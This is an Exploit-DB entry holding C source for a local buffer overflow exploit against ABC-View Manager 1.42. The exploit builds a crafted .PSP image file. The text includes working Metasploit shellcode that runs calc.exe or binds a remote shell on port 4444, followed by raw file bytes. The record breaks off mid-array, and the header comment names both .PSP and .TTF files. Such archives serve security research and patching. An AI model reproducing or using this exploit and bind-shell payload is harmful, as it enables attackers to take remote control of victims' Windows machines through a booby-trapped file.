Exploit-DB #3797
Description: ABC-View Manager 1.42 - '.psp' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-04-25
Author: Marsu

Exploit:
/*****************************************************************************
*                                                                            *
*              ABC-View Manager 1.42 .PSP File Buffer Overflow               *
*                                                                            *
*                                                                            *
* ABC-View Manager is vulnerable to an unspecified buffer overflow when      *
* processing a crafted .TTF file.                                            *
* This exploit runs calc.exe or binds shell to port 4444.                    *
*                                                                            *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu < Marsupilamipowa@hotmail.fr >               *
*                                                                            *
* Note: Open that in XnView to see EIP overwritten =D                        *
*****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x98"
"\x11\xbe\xa7\x83\xeb\xfc\xe2\xf4\x64\xf9\xfa\xa7\x98\x11\x35\xe2"
"\xa4\x9a\xc2\xa2\xe0\x10\x51\x2c\xd7\x09\x35\xf8\xb8\x10\x55\xee"
"\x13\x25\x35\xa6\x76\x20\x7e\x3e\x34\x95\x7e\xd3\x9f\xd0\x74\xaa"
"\x99\xd3\x55\x53\xa3\x45\x9a\xa3\xed\xf4\x35\xf8\xbc\x10\x55\xc1"
"\x13\x1d\xf5\x2c\xc7\x0d\xbf\x4c\x13\x0d\x35\xa6\x73\x98\xe2\x83"
"\x9c\xd2\x8f\x67\xfc\x9a\xfe\x97\x1d\xd1\xc6\xab\x13\x51\xb2\x2c"
"\xe8\x0d\x13\x2c\xf0\x19\x55\xae\x13\x91\x0e\xa7\x98\x11\x35\xcf"
"\xa4\x4e\x8f\x51\xf8\x47\x37\x5f\x1b\xd1\xc5\xf7\xf0\x6f\x66\x45"
"\xeb\x79\x26\x59\x12\x1f\xe9\x58\x7f\x72\xdf\xcb\xfb\x3f\xdb\xdf"
"\xfd\x11\xbe\xa7";


/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char BindShellcode[] =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5c"
"\x7b\x78\x7f\x83\xeb\xfc\xe2\xf4\xa0\x11\x93\x32\xb4\x82\x87\x80"
"\xa3\x1b\xf3\x13\x78\x5f\xf3\x3a\x60\xf0\x04\x7a\x24\x7a\x97\xf4"
"\x13\x63\xf3\x20\x7c\x7a\x93\x36\xd7\x4f\xf3\x7e\xb2\x4a\xb8\xe6"
"\xf0\xff\xb8\x0b\x5b\xba\xb2\x72\x5d\xb9\x93\x8b\x67\x2f\x5c\x57"
"\x29\x9e\xf3\x20\x78\x7a\x93\x19\xd7\x77\x33\xf4\x03\x67\x79\x94"
"\x5f\x57\xf3\xf6\x30\x5f\x64\x1e\x9f\x4a\xa3\x1b\xd7\x38\x48\xf4"
"\x1c\x77\xf3\x0f\x40\xd6\xf3\x3f\x54\x25\x10\xf1\x12\x75\x94\x2f"
"\xa3\xad\x1e\x2c\x3a\x13\x4b\x4d\x34\x0c\x0b\x4d\x03\x2f\x87\xaf"
"\x34\xb0\x95\x83\x67\x2b\x87\xa9\x03\xf2\x9d\x19\xdd\x96\x70\x7d"
"\x09\x11\x7a\x80\x8c\x13\xa1\x76\xa9\xd6\x2f\x80\x8a\x28\x2b\x2c"
"\x0f\x28\x3b\x2c\x1f\x28\x87\xaf\x3a\x13\x69\x23\x3a\x28\xf1\x9e"
"\xc9\x13\xdc\x65\x2c\xbc\x2f\x80\x8a\x11\x68\x2e\x09\x84\xa8\x17"
"\xf8\xd6\x56\x96\x0b\x84\xae\x2c\x09\x84\xa8\x17\xb9\x32\xfe\x36"
"\x0b\x84\xae\x2f\x08\x2f\x2d\x80\x8c\xe8\x10\x98\x25\xbd\x01\x28"
"\xa3\xad\x2d\x80\x8c\x1d\x12\x1b\x3a\x13\x1b\x12\xd5\x9e\x12\x2f"
"\x05\x52\xb4\xf6\xbb\x11\x3c\xf6\xbe\x4a\xb8\x8c\xf6\x85\x3a\x52"
"\xa2\x39\x54\xec\xd1\x01\x40\xd4\xf7\xd0\x10\x0d\xa2\xc8\x6e\x80"
"\x29\x3f\x87\xa9\x07\x2c\x2a\x2e\x0d\x2a\x12\x7e\x0d\x2a\x2d\x2e"
"\xa3\xab\x10\xd2\x85\x7e\xb6\x2c\xa3\xad\x12\x80\xa3\x4c\x87\xaf"
"\xd7\x2c\x84\xfc\x98\x1f\x87\xa9\x0e\x84\xa8\x17\xac\xf1\x7c\x20"
"\x0f\x84\xae\x80\x8c\x7b\x78\x7f";



char psp_file_part1[] =
"\x50\x61\x69\x6e\x74\x20\x53\x68\x6f\x70\x20\x50\x72\x6f\x20\x49"
"\x6d\x61\x67\x65\x20\x46\x69\x6c\x65\x0a\x1a\x00\x00\x00\x00\x00"
"\x05\x00\x00\x00\x7e\x42\x4b\x00\x00\x00\x2e\x00\x00\x00\x2e\x00"
"\x00\x00\xfd\x01\x00\x00\xb6\x01\x00\x00\x00\x00\x00\x00\x00\xe0"
"\x68\x40\x01\x02\x00\x08\x00\x01\x00\x00\x01\x00\x00\x00\x00\x6c"
"\x03\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x11\x7e\x42\x4b\x00"
"\x0a\x00\x18\x00\x00\x00\x7e\x46\x4c\x00\x01\x00\x0e\x00\x00\x00"
"\xa0\xa0\xa0\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x7e\x42"
"\x4b\x00\x01\x00\x38\x00\x00\x00\x7e\x46\x4c\x00\x01\x00\x04\x00"
"\x00\x00\x00\x00\x00\x00\x7e\x46\x4c\x00\x02\x00\x04\x00\x00\x00"
"\xe5\x4f\x22\x46\x7e\x46\x4c\x00\x06\x00\x04\x00\x00\x00\x00\x00"
"\x00\x00\x7e\x46\x4c\x00\x07\x00\x04\x00\x00\x00\x00\x00\x00\x00"
"\x7e\x42\x4b\x00\x10\x00\x2a\x31\x00\x00\x08\x00\x00\x00\x01\x00"
"\x00\x00\x7e\x42\x4b\x00\x11\x00\x18\x00\x00\x00\x18\x00\x00\x00"
"\x2c\x01\x00\x00\x02\x01\x00\x00\x08\x00\x02\x00\x01\x00\x00\x01"
"\x00\x00\x01\x00\x7e\x42\x4b\x00\x09\x00\xf6\x30\x00\x00\x08\x00"
"\x00\x00\x01\x00\x01\x00\x7e\x42\x4b\x00\x02\x00\x08\x04\x00\x00"
"\x08\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00"
"\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00\x00\xff\xff\x00"
"\xff\x00\xff\x00\xff\xff\x00\x00\x10\x10\x10\x00\x18\x18\x18\x00"
"\x20\x20\x20\x00\x28\x28\x28\x00\x38\x38\x38\x00\x40\x40\x40\x00"
"\x48\x48\x48\x00\x50\x50\x50\x00\x60\x60\x60\x00\x68\x68\x68\x00"
"\x70\x70\x70\x00\x80\x80\x80\x00\x98\x98\x98\x00\xa0\xa0\xa0\x00"
"\xb0\xb0\xb0\x00\xb8\xb8\xb8\x00\xc0\xc0\xc0\x00\xc8\xc8\xc8\x00"
"\xd8\xd8\xd8\x00\xe0\xe0\xe0\x00\xe8\xe8\xe8\x00\xf0\xf0\xf0\x00"
"\x00\x00\xc0\x00\x08\x08\x18\x00\x08\x08\x28\x00\x0c\x0c\x40\x00"
"\x10\x10\x50\x00\x18\x18\x68\x00\x18\x18\x80\x00\x1c\x1c\x98\x00"
"\x20\x20\xa0\x00\x24\x24\xb8\x00\x28\x28\xc8\x00\x2c\x2c\xe0\x00"
"\x30\x30\xf0\x00\x40\x40\xff\x00\x50\x50\xff\x00\x60\x60\xff\x00"
"\x70\x70\xff\x00\x80\x80\xff\x00\x98\x98\xff\x00\xa0\xa0\xff\x00"
"\xb0\xb0\xff\x00\xc0\xc0\xff\x00\xd0\xd0\xff\x00\xe0\xe0\xff\x00"
"\xf0\xf0\xff\x00\x00\xc0\x00\x00\x08\x18\x08\x00\x08\x28\x08\x00"
"\x0c\x40\x0c\x00\x10\x50\x10\